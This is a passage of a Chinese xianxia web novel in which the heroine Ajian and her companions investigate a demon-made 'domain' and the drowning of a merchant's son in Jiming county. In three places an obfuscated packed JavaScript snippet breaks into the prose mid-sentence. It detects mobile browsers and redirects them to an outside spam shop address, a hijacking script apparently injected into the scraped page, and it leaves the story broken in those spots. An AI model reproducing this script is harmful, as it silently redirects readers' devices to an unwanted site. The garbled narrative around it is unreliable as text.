“我们哪知道啊,总之四非宗得知后,马上派了弟子来收,给了陈宝书好一大笔钱呢!”说话的人咬牙切齿地结束这段话。 旁边的人不约而同扭曲了嘴脸,齐呼星更是嫉妒地连连拍着自己大腿。 这个陈宝书也太好命了吧!那可是神兵! 阿纤手指搭在杯壁上思索。 神兵蕴含着强大的五行之气,但不知是何人所造,又藏于何处,无数的寻宝人都想找到它们,无论是自己用还是卖钱都是很合算的事。 阿纤从前也试着去找过,可惜一无所获。 忽而留意到旁边有人注视,阿纤转过眼睛,问:“你也知道神兵?” “不知。”越衡垂下眼睫,虽说着不知但脸上的神情分外古怪,阿纤还想追问一二,越衡就取走她的茶杯,重新倒了杯热的,阿纤朝他笑了下,“谢谢。” 坐久了,还真有点冷,她把两只手都紧贴在杯壁上,汲取热茶的温度。 越衡留意到她的动作,眉心微蹙。 在封魔阵的时候,下雪天阿纤都能在水边打坐修炼,她没有那么怕冷。 齐呼星不停感慨:“他也太幸运了吧!玄门到处找神兵都找不到,他挖一个地基就挖到了!” 说客也愤愤不平:“可不是嘛!陈掌柜这人就很邪门,都不知哪里来的狗屎运!不少人说他肯定是和魔物做了什么见不得人的交易!” 辛可易厌恶道:“魔物就是该死光的东西,怎么还能与魔物勾结?” 旁边的茶客们同仇敌忾:“没错没错,魔物都是该死的!” 总之陈宝书发了这一笔横财不说,很快他的客栈也建了起来。 大家想,这次他总要开始亏钱了吧? 谁能想到,远在皇城的太子玉笔一划,加一官道途径鸡鸣县,官员考察时就征用了他建好的客栈当做官驿,于是鸡鸣县成了南边诸臣回朝述职的必经之地,他的客栈再不愁没收益! “他真的有点财运在身啊!”齐呼星虽然从来没缺过钱用,但这个陈宝书偏财好成这样也是没得说了。 “他是有钱,但身边的人就不妙了,先克死了亲生父母、紧接着义父横死,现在儿子也溺毙了,要不怎么说他身上有点邪门。”说话的中年男子把嘴撇成了倒八字,连连摇头。 脸上尽是嫌弃之意:给我这样的运气我都不要。 “陈掌柜吧,成日装成大善人,经常散钱给穷人,麻子脸都在他家客栈吃了三年白食也没见他赶过人!一些朋友更是隔三差五找他借几个钱,他也不曾拒绝,都说行善积福,他不缺钱肯定是缺福了……又或者他这些横财来历不明,心虚也说不定,总之当他心爱的儿子给人害死了,他马上就发疯了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401563|200416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “自从他儿子死后,这三天接连死人,官差都查不出线索,说是魔物所为!” “那肯定是陈宝书,他一定是变成魔物寻仇了!” 齐呼星、辛可易两人都屏住了呼吸,没想到这么容易就让他们抓到了真相。 “为什么说肯定是陈宝书成了魔呢?”阿纤还在问。 齐呼星抢答道:“肯定是因为他儿子死了,却没有找到凶手,他便怨恨上所有人!这种人最容易走极端了!” 旁边的茶客纷纷道:“没错没错!” “凶手?他儿子不是溺死的吗?” 一个老头道:“不不不,他儿子先是给人绑架了不见了,后来才有人发现死在一个偏僻的河道里,手里还捏着一根糖葫芦呢!” “正是因为这个糖葫芦啊,那些官差才判定是他自己不小心掉进河道溺死的,绑匪总不会给一个就要撕票的小孩买糖葫芦吧?但我总觉得事情不是这么简单,或许绑匪把陈小墨放了后面又有人把他溺死在水里也不一定……” 齐呼星打断他的瞎猜,问出心底的疑惑:“等等,既然知道有绑匪,怎么没去抓绑匪?” “陈宝书拿不出证据啊,他说有人写了信给他,结果信也找不出来,没有信怎么证明他说的是实话?大家还说他是因为儿子不见得了癔症!” 这些人的话颠三倒四、毫无逻辑,可见他们根本也不明真相,只是道听途说加上自己的一些猜测,除了让事件变得更加扑朔迷离外别无用处。 阿纤换了个话题问:“这段时间死的都是些什么人?” “除了陈小墨还有那乞丐麻子脸吧?” “对,卖糖葫芦的孙七也死了,死酒鬼刘永遐昨儿被发现的尸体。” “后面死的这两个人也与陈宝书也有关系吗?” “有啊,他儿子死时候捏着的糖葫芦就是那孙七家的,死酒鬼原本是个书生,借了陈宝书的钱去皇城科考,次次不中,只能日日酗酒浇愁咯!” “所以这些死的人都与陈宝书或者陈小墨关系密切?”阿纤问,“他们有没有可能是杀害陈小墨的凶手呢?” “很有可能啊!要不然怎么说魔物肯定是陈宝书呢!” 阿纤朝齐呼星与辛可易两人摇头。 证明他们的话不可信。 倘若魔物是陈宝书,他想找仇人杀掉就没有必要拿自己打开域,千辛万苦打开域又瞎猫碰死老鼠的法子挨个去杀仇人,怎么看都是矛盾的。 “欸,这不是胡宇吗?”突然有人惊呼了声。 那叫胡宇的男子揉着脑壳刚醒过来,两眼迷瞪瞪左右看了眼,突然又一个哆嗦差点从条凳上栽下。 齐呼星连忙伸出一条腿架住他,“小心!” 胡宇惊恐问:“我怎么在这?” “胡宇,你不是说妹婿养外室你要去撑腰,怎么又回来了?”旁边的熟人追问。 胡宇惨白的两颊剧烈地跳了跳,突然大叫了一声,推开旁边人,背起自己的包裹就跌跌撞撞、叮叮当当往外跑。 “发什么神经啊!” “我看他压根不是要去帮妹子,是因为欠了赌场的钱要跑路吧!” 被撞疼的男子狠狠啐了一口唾沫,“晦气!” 这时一老者幽幽说了句:“哎,若不是陈宝书卖了商队,胡公子也不会沦落到这个地步。” 阿纤听到这句话,目光立刻追寻胡宇慌张跑远的背影。 与陈宝书有关还这么慌张,肯定知道点什么。 5. 鸡鸣(三) 虽然天色没有变化,但是茶客们还是凭本能感觉到晚了,要回家去。 一个个就好像提线的人偶,按部就班地在已经成为“域”的鸡鸣县活动。 茶摊上的人少了,阿纤示意三人也离开。 走出几步,齐呼星就忍不住发表心得:“我觉得这个陈宝书很可疑!他应该就是我们要找的魔物,这里的域主吧!” 辛可易难得赞同他的话:“若是如茶客们所说,他极为疼爱这个儿子,他儿子死得不明不白,他可能就是因为这件事入的魔!” 为亲朋好友入魔的人不在少数,他们见没见多少,但听过不少。 阿纤一直没说话,齐呼星心急地问:“阿纤姑娘,我们说得不对吗?” 虽然这位阿纤姑娘修为不行,但是齐呼星认为她既然懂“域”,应该经验还是有的。 “我现在还不能判断对错,不过先往这个思路查下去总没有错。”阿纤从容道。 “查下去?我们不去直接找陈宝书?” 阿纤问:“你能直接找到陈宝书?” 齐呼星理所应道:“能啊。” “知道要找的人就简单了!我有法器!”他原地蹲下开始掏自己的百宝囊,辛可易帮着找,边找边骂:“你东西能不能归类放好,里面乱得跟猪窝一样,猪窝都比这里面干净……” 齐呼星辩驳道:“你不懂,我们搞研究创造的人这样才比较有灵感!” 阿纤和他们两个蹲成一个圈,抻长脖子往百宝囊看,里面有好多她没见过的东西,看得她应接不暇。 “这些法器都是齐公子做的?”阿纤问。 辛可易替齐呼星道:“他做的不好使,他哥做的还能用。” 齐呼星马上道:“我以后也能做出很厉害的法器!” 因为东西放得杂乱,两人埋头一通找,阿纤看一时半会找不到就走回越衡身边,瞟了眼他脖颈上戴的法器。 她没有理由阻止齐呼星用法器找魔物,而且她也想检验一下自己的法器是否真的保险。 阿纤安慰:“别担心。” 越衡道:“你担心的不该是我。” 阿纤眨巴了两下眼睛。 越衡的意思很好懂。 倘若这两个小的发现他魔物的身份后,为掩藏秘密的魔头什么事情都能做得出来。 阿纤扯走越衡,对蹲地上的两人道:“我们两个去看看刚刚那位胡公子。” 地上两人对视一眼,一人提起百宝囊一角飞快追上来,“一起去。” “我们可以保护阿纤姑娘和越公子!” 齐呼星心想:这两人一人修为就很低了,另一个干脆低得都快看不见,就这样他们还敢进来解救鸡鸣县实乃勇气可嘉。 作为强者,有义务保护弱者! 齐呼星跟上来还给阿纤和越衡分发小法器,一边介绍道:“这个手镯可以飞出金针,杀人无形,对了,阿纤姑娘你有金灵核吗?” 阿纤摇头。 “哦,那你不能用。”齐呼星把手镯放到辛可易手上。 虽然是法器,但是使用者本身没有相同属性的也是无法使用的。 最后阿纤分到了一根木签和五个透明珠子,还替越衡拿了一枚骰子和一片羽毛。 鸡鸣县说小也不小,说大也不大,随便找了个人就问出胡宇的住处,没多久四人来到胡家院前。 ——栅栏破碎、大门倾歪的院前。 齐呼星大惊小叫:“天哪,我们是不是来迟一步,他已经给魔物吃了!” 辛可易“嗙”地给了他一拳,齐呼星跌倒在地上,正好隔着栅栏看见一双干净崭新的踏青靴。 “欸?” “是你们?!” 辛可易立刻认出从院子里出来的几名修士就是之前见过的四非宗弟子。 齐呼星从地上爬起来,先发制人道:“你们在这做什么?” 一名四非宗弟子正想骂退两人,却在看见他身后的姑娘时瞳仁同时一震。 这时院子里响起杀猪声:“别杀我!别杀我!救命啊!” “什么!你们杀人?”齐呼星古道热肠,不顾四非宗弟子阻挡非要冲进去。 被打成猪头的胡宇涕泗横流地缩在地上,怀里还抱着根断了一半的棍子。 阿纤跟在后面进来,其实她想走也是可以走的,可她又实在好奇院子里的事。 “七师姐,是端木纤!” 阿纤后边的四非宗弟子率先喊了声,提醒最前面的女修。 王有容抬手先一道剑气荡来,声音里抑不住的怒意:“你怎么出来的!” 齐呼星眼明手快以火枪出击,凌空将那道剑气扫飞,恼道:“同门之间下死手是何道理!” 虽然相处没多久,但齐呼星已经将阿纤当做是需要照顾的弱小同伴,无论是保护弱小还是保护同伴都是理所应当的事。 王有容提剑垂手,首先注视的并非出手阻拦自己的红衣少年,反是刚刚投来极为不善目光的男子,他站在阿纤身后,穿着很普通,可乌发墨眼,瓷肤艳唇,犹是清风远韵,玉雪不污的神姿。 她身为王家大小姐,向来只重修行而轻皮相,却冷不丁被此人的样貌晃了下心神,心底讶然:此人竟比大师兄还好看。 虽然容貌远胜过大师兄,可他给人的感觉绝没大师兄有那么温和、舒服。 相反,是危险的、森然的…… 实话说,阿纤与他进来的时候,王有容没有放在心上,她已是阴雷境修士,能够感知到五丈范围内的人修为高低。 阿纤就不必说了,十年如一日的境地,而她带来的这个男子更是微不可查。 “这是我们宗门内部的事。”王有容回过神,不愿意多说,但旁边有名弟子指着阿纤高声指责道:“端木纤杀了我们长老,你们难道要包庇一个凶手吗?” “凶手?”齐呼星与辛可易都愣住了,没料到长得这么温良纯善的阿纤姑娘会与“凶手”这个词放在一起。 阿纤解释道:“五大长老的死不是……” 王有容的忍耐度有限,额角青筋一跳,狠狠道:“你还想狡辩说不是你?我娘用了禁术召回祖父的一魂,他亲口指认,是你趁着五大长老与灵煞缠斗之际将他们杀害!” 阿纤怔了下,“鹤云长老是这样说的?” “你敢做不敢当吗?” 阿纤敢当:“好,是我做的。” 她突然就这么干脆果断地认了,王有容一肚子话都说不出来,顿了片刻,才冷冷道:“你认了就好!等我们出了这个域,再带你回四非宗受审!” 一直看热闹的胡宇意识到了修士内斗结束,该轮到他,又开始在地上弹跳,惊恐地喊道:“救命啊!” 齐呼星和辛可易也从震惊中醒过神,看向被四非宗弟子按在地上像待宰年猪一样的大活人。 “等等,那你们为什么要杀普通人?”齐呼星先问。 “普通人?他现在是破域的方法,你们该不会连域是什么都不知道吧?” 齐呼星马上叫道:“我们知道!” “那好,既然知道就应该明白,身为域主的魔物在域破开之前是不能被杀掉。”王有容道。 其实能杀,但是也有弟子杀不彻底反而导致炼狱提前,自己窝囊地被烧死不说还连累了其他无辜的普通人。 所以玄门才不约而同更新了解决域的法子,那就是先解开域,再杀魔物。 这也是王有容一行人为什么抓到陈宝书也没有立刻把他弄死的原因。 她虽然有自信但也不想铤而走险。 四非宗弟子道:“杀了凶手,域就能解开了,你们不要碍事!” 齐呼星吃惊:“胡公子是杀害陈小墨的凶手?” “我,我也不是故意的!”胡宇涕泗横流,全身发抖,大声辩解:“我那天喝醉了酒就不小心推了陈小墨一下,真的不是故意要杀他!我和陈宝书是朋友啊,又怎么会去杀他儿子?而且也怪不得我,如果不是陈宝书,我那天晚上就不会喝那么多酒……我真的都记不清了……” “陈小墨是溺死的,你都喝得意识不清居然没掉水里去?”阿纤问。 “他真是溺死的?”胡宇迷茫道:“那不可能啊,陈宅没有池塘……” 说完,胡宇自己都纳闷起来,想不通自己推一下人怎么把人给推到水里去了。 阿纤道:“师姐有把握他就是吗?” 王有容心中有怨,是以哪怕对方语气再温柔,听起来像是在挑衅,她没好气道:“你还想说什么?” “乞丐麻子脸、卖糖葫芦的孙七、死酒鬼刘永遐都是师姐下的手吗?” 王有容脸色一变,还没答话,有道傲气的声音响起:“是我杀的又如何?他们都承认杀害了陈小墨。” 阿纤看着来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401564|200416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人依然温和打招呼:“六师兄。” 苏进良大步走上前,站到王有容身侧,先关切自己的未婚妻,“你没事吧?” 王有容面色稍缓,摇头:“没事,她能拿我怎么样?” 苏进良一想也是,又扭头看向阿纤。 阿纤依然扬着那张温和美丽但是看起来有些迟钝的笑脸。 一晃眼间,苏进良想起阿纤被大师兄端木泽捡回来时,也是这幅模样。 对人对事仿佛都没有感觉,对外界的一切都不感兴趣,只不过人很听话,修炼也算勤奋,一度被师父寄以厚望。 他也对阿纤有过诸多照拂。 毕竟她有三灵核而且生得秀美清丽,光是静静站在那儿就好似天上月华化作了易碎的琉璃,让人心生怜爱。 只是他追求极致的力量,日日看着阿纤毫无长进的修为由爱生怨,难以容忍。 如果她天生是个废物,又为何要给她如此让人嫉妒的天赋? “封魔阵破了,你竟然没死?” 阿纤进入封魔阵已经十一年,苏进良已经当这个师妹死了,突然看见她活生生站在眼前还真有点不敢置信。 阿纤思索须臾,道:“可能封魔阵并没有那么厉害?” 苏进良脸颊肌肉狠狠抽了抽。 你一个初雷境都没有的弟子怎么好意思说师父设下的封魔阵不厉害? “别与她废话了,先把这个域破了。”王有容淡声提醒。 苏进良点点头。 阿纤出声道:“既然师兄说他们都承认自己杀了陈小墨,可为什么域还没有破,要不就是像胡公子一样,其实根本无法确认自己是否杀了陈小墨?” 苏进良道:“他们也不是什么好人,杀了也不可惜。” 阿纤好奇问了句:“五位长老在一些弟子心里也不算好人,为什么你们却非要我负责?” 苏进良和王有容以及其他四非宗弟子同时在心里想:那怎么能一样! 可随后,几人看着阿纤那张温和的笑脸又是心底微颤,五位长老为了修炼丧心病狂的事情他们也有所耳闻,但是毕竟是长老,宗门之中仅次于宗主与祖师爷的存在,怎么能可其他人一样? 王有容不是没有耳闻过一些有关祖父的事,但是身为小辈如何能够去置喙长辈,更何况祖父对自己和蔼可亲……与旁人自是不同。 作为利益既得者,她对阿纤的恨意突然地没有了着落点,心里也空落落的。 她再次看向阿纤。 原来阿纤在心底也是痛恨着五位长老,所以才会趁机下毒手? 可她从前的表现总是那么平和随意。 好像无论是同门的冷嘲,还是师父的恨其不争,亦或者是长老们刁难,她都不会往心里去。 一些偷奸耍滑的弟子还会诓骗她做些自己不想干的活,她都会认真去完成。 有一次王有容做完委派任务回宗门就发现阿纤在山脚下托着下巴在等着火宵花上的露水滴入小瓷瓶。 这是在帮某位喜好饮茶的长老接花露。 虽然王有容对于这个极有天赋却非常无能的师妹没有多少好感,但好歹是宗主的亲传弟子,她再不济何至于干这样的杂活,分明是有人把自己的事甩到了她头上。 但阿纤浑然不觉自己被人戏弄了,反而很温和道:“我觉得很好啊,这里灵力充沛,很适合修炼。” 王有容知道阿纤虽然没有什么长进,但很执着于找灵力充沛的地方,也总是把修炼两个字含在嘴边。 就是没有用罢了。 她就好像一个竹篮,无论往多深的水打一篮,拎起来也装不住几滴水。 所以每每听见诸如此类的话,她也觉得可笑,那天也是,她扔下一个“随你”就径直离开,也正是那日,没过多久阿纤被五位长老们叫走,一起去往神陨灵界。 五位长老无一幸还,唯有这个修为最低的阿纤若无其事、衣角完整地回来了。 阿纤不知短短时间里,面前两人心中闪过许多往事,一心只为眼前的事考虑,问道:“我们是不是应该谨慎一点?” 齐呼星对事不对人,“没错,我看这个胡公子根本自己也没弄清,万一又杀错了人,岂不是无济于事!” 王有容制止住准备开口的苏进良,蹙眉问阿纤:“你想怎样?” 阿纤指着地上的人道:“不如请胡公子详细讲述一下。” 6. 鸡鸣(四) 一行人在胡宇的院子里各找了地方坐下。 刚胡宇抵抗挣扎换来一顿乱打,本就不富裕的院子又破败了好几分,几乎找不到完好的东西。 阿纤坐在一木桩上,旁边站着越衡,齐呼星与辛可易各自找了个破酒坛子反扣在地上当凳子。 至于王有容和苏进良坐到了唯一一张完好干净的条凳。 胡宇左捋右擦,把那张惨不忍睹的脸拾辍出个人样才坐在屋门前的石阶上。 若非现场气氛凝重,这架势和茶楼等着听书没两样。 “从哪里开始讲呢?”胡宇犹豫道。 阿纤抢先开口:“你和陈宝书的关系,他是什么样的人起,你说,你们是朋友。” “的确,我与陈宝书先前也是朋友,”胡宇喝了一口粗茶润嗓,放下豁口的茶碗开始交代。 “因为他义父陈伯与我父亲是多年的生意伙伴,我家原本有茶田千顷,陈伯是茶商,带着商队贩卖茶叶,陈伯死后陈宝书接管商队,实话说,他这个人根本无心经营商队,他之所以跟着商队只是想要找一座石像。” “石像?”阿纤问。 胡宇摆摆手,“我不清楚,反正陈宝书从来没有找到过,而且这也不是重点!总之,他找了几年未果,商队的生意也耽搁了,他就不想做茶叶生意,索性把商队卖了,后来我父亲也找了几个商队合作,没想到识人不清,亏损严重,最后没能撑下去,我娘带着我妹回娘家了,我爹病死了。” 阿纤环顾小院一圈。 的确是亏损严重,家产不丰,剩下的这破宅子还给打得更破了。 “哦!我知道了!所以你妒忌陈宝书卖了商队反而日子越过越好!”齐呼星心急道。 胡宇马上高声否认,“我才没有!胜败乃兵家常事,生意起起伏伏也很寻常,我家的情况我爹知道,早就大不如前,我又是个混帐,除了吃喝玩乐什么也不会,帮不了他的忙,所以自然不会去怪陈宝书……” 对这个说辞,几人并不信。 “即便如此,你们后面还是做了朋友。”只有阿纤顺着他的话道:“虽是朋友,免不了会有矛盾,对吧?” “是,是啊。”胡宇心虚着,在阿纤真挚鼓励的目光下,硬着头皮继续说下去:“在陈宝书出事前,我们是有过矛盾……” 他有些犹豫,要不要说出口。 但阿纤趁势追问:“什么矛盾?” “我向他借钱,他不肯借,他经常借钱给别的人,我可是他朋友,他居然不借给我!”胡宇说着也来了气,问左右道:“你们不觉得这样很过分吗?我是他朋友啊!” 齐呼星心想:陈宝书出事了你跑得最快,也没见你为朋友两肋插刀做点什么啊? 见无人为自己说公道话,胡宇两眼放空,“因为没有借到钱我心里难过,那日……我和刘永遐一起喝酒,他是个酒鬼,一喝醉就喜欢吹牛,我听到他说他在陈宅花园里埋了一大笔钱……说得信誓旦旦的,我也是昏了头,趁着酒意就去了一趟陈宅……” “你找到了?”齐呼星问。 胡宇马上摇头,果断道:“没有。” 阿纤指了下院子里唯一一棵老树下松软的土,问:“那树下埋的什么?” 胡宇下意识扑上去想要保护,但是给四非宗弟子抢先一步用法器一指,埋在土里的包裹直接吐了出来,金灿灿的金贝晃亮一众人的眼睛。 阿纤笑吟吟道:“我在茶摊上听你背着包裹跑得丁零当啷的就猜到装了不少,果然不少。” 胡宇:“……” 齐呼星指着他气道:“谎话连篇!” 胡宇面红耳赤道:“我都承认陈小墨是我推的了!” 他巧妙地改变了用词,将“杀”改成了“推”。 “就是那天晚上,我碰见小墨,他急急忙忙跑过来拦下我想说什么,我怕他喊人来就不耐烦推了他一下,也没用多大力气,他就滚到一边撞到一块石头,我看他昏了过去也吓了一大跳,这时候有脚步声响起,我,我害怕,就逃了……” 之前因为藏着偷钱这个秘密,他既兴奋又害怕,脑子也晕晕乎乎,现在随着事情的吐露,胡宇理清思路,振奋精神道:“既然仙师们说小墨是溺死的,那就不关我事了对吧!不是我杀的小墨!” 王有容与苏进良眉头紧锁。 一时无言以对。 胡宇左右看去:“还有问题吗?” “有。”阿纤举起手,“你都穷了这么久,突然借钱想做什么?” 胡宇没好气道:“我看上一个叫秀芳的姑娘,她家人狮子大开口,我总不能把全副身家掏出来吧?” 齐呼星心想:原来存着有借无还的心思,难怪人陈宝书不愿意当冤大头了。 “好了,你们问得差不多了吧?我不是杀陈小墨的凶手!你们就不应该把我当犯人!”胡宇高兴道。 苏进良对王有容道:“比起一城的百姓来说,他一人微不足道,我们时间不多了。” 言外之意就是:谁知道他有没有藏私,杀了他也不亏。 王有容却犹豫了,因为阿纤正看着他们。 她若滥杀无辜的话,又有何立场去指责她,拿她问罪? 所以王有容没有对胡宇下杀手,只让两名弟子把他带下去看管起来。 胡宇哇哇大叫,但也无济于事。 阿纤道:“师姐抓到了陈宝书吧?” 现在大家都被困在域中,共同的目标都是离开这个域,不然全死在这里也追究不了什么恩怨仇恨,所以王有容收敛住了脾气,回道:“不错。” 齐呼星大叫:“啊!你们已经抓到陈宝书了,他真是魔物了?” 苏进良也受不了他随地大叫,没好气道:“这有什么稀奇的?难道我们四非宗在你们宗门眼里就是个大夫?” 齐呼星连忙摇头,“我是惊讶陈宝书真的是魔物了。” 苏进良没好气地哼了一声。 若非确实知道是陈宝书变成了魔物,他们也不会围着他身边的人去查。 阿纤问:“他怎么说的?” 王有容道:“他不会说话,他生前并非哑巴,死了变成魔物却哑了。” 阿纤道:“这就奇怪了。”顿了下,又猜测道:“他是不是故意不开口?” 苏进良没好气道:“我们连个魔物都对付不了么?” 阿纤无辜道:“我不是这个意思。” 苏进良的目光又落在阿纤眉目上,不由出了会神。 这次不是王有容提醒,而是一道幽沉的目光。 苏进良不由恼怒地回瞪,师妹的修为已经够低了,这个人更是不够看,也就比没有灵核的普通人好上那么一点,这样的人胆敢以恶意直视阳雷境修士,不知道是无知还是胆肥。 “还没问过,师妹,你身旁的是什么人?” “啊?”阿纤后知后觉自己身边还站着越衡。 阿纤扭过头。 越衡脸上没有挑衅之意,也不知道怎么就惹到六师兄如此沉不住气。 “他啊……”阿纤肯定不能说真话,于是道:“是我道侣。” 扔下这个震惊四座的消息后,阿纤趁机问:“可以看看陈宝书吗?” 王有容一会想:我师妹居然会有道侣?一会又想:怎么找了一个更废物的? 脑子里全是这些有的没的,突然听见阿纤的话,她下意识就点了头。 至于苏进良就更惊讶了,他猛地扭头盯住越衡。 这没用的东西何德何能能够让阿纤答应结为道侣。 当初看上阿纤的师兄弟不在少数,但无论是明示还是暗示阿纤都好似不能明白,他也没有好到哪里去,要不是因为大师兄很忙,需要他帮忙教阿纤,两人的关系也亲近不到哪里去。 难道是脸? 苏进良黑了脸,用不赞许的目光狠狠剐了眼无辜的阿纤。 被莫名其妙瞪了眼的阿纤还在等着王有容把陈宝书放出来。 王有容心想别的魔物也就罢了,陈宝书这种还真不用担心。 她转动了下手指上的戒指,低声念了句术令,放出一口缸。 看起来像百姓冬日酿造酸菜酱料用的大缸,隐约还能闻到一股酸臭味。 而一个微胖的人正把脑袋埋在缸里,大半个身体吊在外面。 “他不会说话,我们一问他东西,他就这样。” 齐呼星绕了三圈,惊奇道:“我还没见过这样的魔物。” 苏进良嘲讽:“你才见过几个?” 辛可易道:“苏师兄见多识广,能告诉我们这种情况怎么回事吗?” 苏进良:“……” 辛可易点点头道:“哦,苏师兄也没见过几个。” 齐呼星把这辈子最难过的事都翻出来想了一遍,才忍住没笑出声。 阿纤疑惑:“他看起来不像会拖全城的人一起去死的魔物。” 王有容虽然心底认可阿纤的话,但她不想表现出来,继续维持着她高冷的神色,不置可否。 看过陈宝书后,阿纤几人也知道从他身上是问不出东西。 阿纤打了个哈欠道:“我累了,找个客栈休息一下。” 苏进良还没来得及开口,阿纤又问:“师兄师姐住在哪?” 苏进良不知她的用意,但还是回道:“引书客栈。” 阿纤点头:“我也住那,不用担心,域没有解决之前,我哪里也去不了。” 话都让阿纤一个人说完了,苏进良也不好把她绑了,只能看着她和她的道侣以及两个少年一同离去。 引书客栈正是陈宝书开在鸡鸣县的客栈,离主街道还要走上半刻钟,难怪无人看好。 阿纤报上四非宗的名字,连钱都不用出就在客栈里开了两间房,并且要了一桌菜。 因为东家出事,客栈里人手不多,只剩下一对夫妻带着他们的女儿。 赵三放下菜盘,摸了摸女儿的脑袋,道:“几位,客栈里存菜不多,也就能做这几样了,还请包涵。” 阿纤一看桌上有鱼有羊还有些瓜类,都是青萝山下没有的东西,十分满意,笑眯眯道: “哪里,已经很丰盛了,对了,听说你们东家人很好?” 赵三让女儿到旁边去玩,“是啊,东家人很好,我因为这条腿,很多人都怕麻烦不肯雇佣我,那时我妻子患病在床,我差点就要卖身做奴了,就是东家看见了,把我带到鸡鸣县替他打理客栈。” “你们东家平时人缘应该不错,有没有人来找过他麻烦?” 赵三想了想,“那倒是没有,只是有求东家的人很多。” “那麻子脸经常来你们客栈要吃的?” “对啊!他就一泼皮,好吃懒做还成日做着发横财的美梦,还当人人都像我们东家一样吗?” “你东家出事前,他也经常来吗?” 赵三又仔细想了会,才道:“那倒没有,说起来好长一段时间没见他了,后面就听说他死了。” 阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哪怕那位诞生的根本与魔物本质上天差地别,但是对于大部分人来说,无法控制的东西是异类。 阿纤还没表态,赵三就接话道:“我也听过,那魔神非常可怕,玄门设五行、立万法的祖师爷就是给他杀的……” 齐呼星拍桌子道:“祖师可是我最崇敬的人!若我见到魔神……” 辛可易给他补完话:“若你见到魔神,给他塞牙缝都不够。” 齐呼星:“……” “哎,正邪不两立,这百来年世间太平就是因为魔神不在,该不会……他又出现了吧?” 桌面的烛火猛地一摇曳,犹如某种无声的警告,赵三打了个寒颤忙不迭起身不敢多说,把巾子搭在肩膀上道: “你们吃你们吃,我去烧洗澡水了。” 齐呼星觉得赵三还藏了事没说完,连忙追过去,他一动,辛可易怕他乱来也追了过去。 三人一离开,阿纤便专心吃菜,正埋头吃着,察觉氛围不对,抬头一看,便笑了,“你怎么不吃?” “菜好吃?” 阿纤嚼嚼,狐疑道:“不好吃吗?” 越衡托着腮,筷子在手指间无意识来回转,眼睛盯着阿纤的眼,然后又沉到她还在嚼动的唇部。 阿纤慢慢不嚼了。 这眼神什么意思? 阿纤虽然和越衡认识了十一年,但时常觉得君心似海,饶是她进出他灵识百次也不敢说把他搞清楚了。 就比如现在,阿纤也不知道他又在那阴沉个什么劲,他时常会露出这种让人看了害怕的眼神,不过阿纤早已免疫,再者,力量被限制的魔物在阿纤眼里就是一只温顺的猫儿,她伸手夹了一筷子自己最满意的葱烧羊肉片到他碗里,“你也尝尝,吃饱点,待会我们还可以趁着他们没有回来,先去夜探一下陈府。” 阿纤擅长顺毛。 “你这么上心,他们也不会放过你,等域破了,照样要抓你回去。” 阿纤卷了卷垂在胸前的耳坠带,掩唇又打了个哈欠,“这不是闲着没事,顺道去看看。” “今夜还是不要折腾了。” 越衡看着她眉眼间的疲色,道:“你精神不济,遇上危险我是不会救你的。” “啊,你这样说我可要伤心了,一日夫妻百日恩。”阿纤夹了一筷子蒲瓜,笑完之后又认真道:“你要是不愿意的话就留在客栈里,但说好了,要是齐公子他们回来,你不要和他们起冲突……” “啪嗒”一声,筷子掉到桌子上,阿纤双眼紧闭,脸朝着桌面直直栽下。 越衡不假思索踢开中间的四方桌上前一步,阿纤就栽进他怀里。 在厨房的三人听见动静一股脑奔出。 刚还灵动活跃的姑娘此刻手脚脑袋都垂着,正挂在公子的手臂上,两条乌黑的长发垂在身侧,还在轻轻的晃荡。 原本放在中央的桌子横移了数米,地上还倒了四五张条凳。 这么大的动静,竟然只是一个人弄出来的,赵三还以为有人进来打架了,拿着大勺子就冲了出来。 “阿纤姑娘怎么了?”齐呼星奔过来想查看却给越衡躲了过去。 辛可易抓住他没分寸和轻重的手。 赵三问:“要不要去请大夫?” “不用。”越衡低头看了眼,平静道:“她只是睡着了。” 7. 鸡鸣(五) 越衡抱着阿纤回到楼上客房,把人放床上本来转身就该走的,可垂眸看了一会,他还是出门找赵三要了热水,把阿纤的脸和手都细致地擦了一遍。 照顾人的事越衡原本不会。 但在进封魔阵前,他曾在世间漫无目地游走了几十年,学会了很多从前不会的东西。 比如做饭。 也看过不同的人该如何相处,比如仇人,又比如夫妻…… 说起夫妻,阿纤提出和他结为道侣时,他只用了两息就答应了。 这件事没有什么好思考的。 因为阿纤总要蹭他的饭吃,但他凭什么要随随便便给人当厨子? 若是夫妻、是道侣,他做饭给阿纤吃便是理所应当的,给她擦脸擦手也没有不妥。 只是阿纤的想法与他有所不同。 她说是为了帮助他找到入魔的记忆才与他结为道侣。 就为了这个她便愿意与一个素不相识、无缘无故的魔物结为道侣。 越衡想不明白。 也没来由对阿纤不满。 她笑不满,她叹气也不满。 阿纤这个人,从头到脚都让他不满。 说起来,按照人的说法,她其实应该先要算是他“仇人”。 